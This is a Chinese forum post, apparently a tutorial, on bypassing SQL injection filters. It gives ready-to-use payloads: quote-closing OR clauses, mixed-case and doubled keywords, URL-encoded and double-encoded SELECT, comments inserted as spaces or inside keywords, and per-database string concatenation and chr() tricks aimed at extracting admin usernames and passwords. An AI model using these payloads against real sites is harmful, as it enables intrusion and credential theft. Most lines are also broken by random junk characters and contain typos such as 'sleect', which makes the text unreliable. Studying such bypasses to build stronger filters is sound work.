SQL注入。有攻有防。知道进攻。才懂得防守.
E/ k: {1 Y# Q) V6 ~
- J# z* |1 e% X9 q8 J有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。" g* e! Q# E7 V
) m1 }! h Z+ V唱出会删除或者净化一些字符,或者阻止常用的sql关键词。, p+ O V; V' _' W; F% ^5 w5 j
6 q0 ?$ V) r8 V: g! p! \
我们通常有以下几种技巧,去避开这些过滤。
9 x! u8 h" K2 L2 J
9 e) }7 F# f( y0 ]1 Q: f& p1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。5 I* y9 ?7 a% l ^7 z2 x
8 ~- X/ m9 j# {8 I, O ?A,如果注入一个数字数据字段,就不需要使用单引号。5 m+ t# _6 M) r' l
9 J5 |' W5 Y) }/ O1 RB,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。% p9 L( D# V9 k6 i: u+ [& A
- E& K" N4 ^( g; g- m; w
比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a
9 m: o" W6 o0 C4 j! X& e# q
" r9 _! N' w5 p, J+ r目的其实很简单,就是把后面的单引号给闭合掉。
5 y4 m' m+ N2 C& W7 z6 }4 y
$ C1 C R& B( e7 {; Q/ dC,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。
- x) N: r0 |; y
5 A1 T3 S& i. Y6 ~8 F( h只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。
, I. P8 Y1 z: f) D& m/ e
8 |5 ]: |, i: Q* w9 R2,避免使用简单确认, @- j& O7 h2 b; [
9 A) |9 B$ d& S
一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。5 k; \, | s6 y4 ~' e
2 l$ X* `8 [0 O2 ^ b) n) h这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。
/ m! I3 U( y" ^2 Q7 [! T" w
$ [0 k8 B& e& f: |# ?# Y) rA,如果select关键词被阻止或删除
) K, D6 L0 Y6 G2 }$ N
1 H/ B/ ?$ F! e2 [9 W4 `, v我们可以输入:) c) f: [) o, z0 @
( P9 k' C$ @* x9 X6 x8 wSeLeCt 注意大小写2 l7 X" f# T, j% e) O" _ K( b
; n, U: Q$ h* [2 R7 E
selselectect 还记得ewebeditor是怎么过滤asp的么?
# O4 q" N3 i- A( l9 i: n2 [$ w3 d4 W- P! I" N+ _
%53%45%4c%45%43%54 URL编码
' C/ W' j' u9 t- w
' X2 n2 z* q) M9 }%2553%2545%254c%2545%2543%2554 对上面的每个%后加了一个25
8 d6 ~9 l T3 Z. B1 H) G% I* s- Y5 q5 t! N2 h1 u
3,使用SQL注释符% a: @( B7 |( j5 r) f+ q
4 v# ~# f, `8 n
A,使用注释来冒充注入的数据中的空格。# I5 h, {& Z& r! @4 R! Y' t
) E5 q; a/ A* w6 y7 U* ~select/*yesu*/username,password/*yesu*/from/*yesu*/admin6 u( c7 ?$ O# Y2 o) n0 }
5 p2 t2 }/ Q/ k* P/*yesu*/来冒充空格
! P% B) K9 b8 o
) x* ~. e7 @" _( {B,使用注释来避开某些注入的确认过滤。
, s" S/ N/ a- S' H3 X8 }! r% f
& f. d+ K7 W5 Y1 R* }+ V% SSEL/*yesu*/ECT username,password fr/*yesu*/om admin" K& T7 |8 p' B( A& U
0 p. v6 J9 f, X4 N+ f* D2 |4,处理被阻止的字符串$ P! v1 a0 F4 o/ O
6 Q) I& M* _. R1 u比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。: M( t- s& _& t
- t2 [& k2 E4 o: H我们可以这样9 x) H: Q# J* R- q- Q
+ F- J& l! ^' u% r" {/ b
A,oracle数据库: ‘adm’||’in’
) Q: I2 r. T4 m) b1 a( ~
. E/ S8 w7 S& u8 H) t; B! w. X. zB,MSSQL数据库: ‘adm’+’in’
; T7 }+ R$ \0 N3 w# Y% D
& S5 \( E0 O8 \* x, vC,MYSQL数据库: concat (‘adm’,’in’)
( V$ V+ r; p2 } Z) [" i' l
% Q9 ], O2 X# V$ |6 [. |3 B2 hD,oracle中如果单引号被阻止了,还可以用chr函数
, t- t# H3 S; ~7 k
" q# W$ W ~2 ~8 B/ psleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)* Z1 M3 N# P* c- G6 I0 m& s
- j- b2 ]( [ H. o% y. }
还有其他方法。正在收集中.
4 L, @1 H9 k2 {6 x7 B; L- u: }" l+ v
|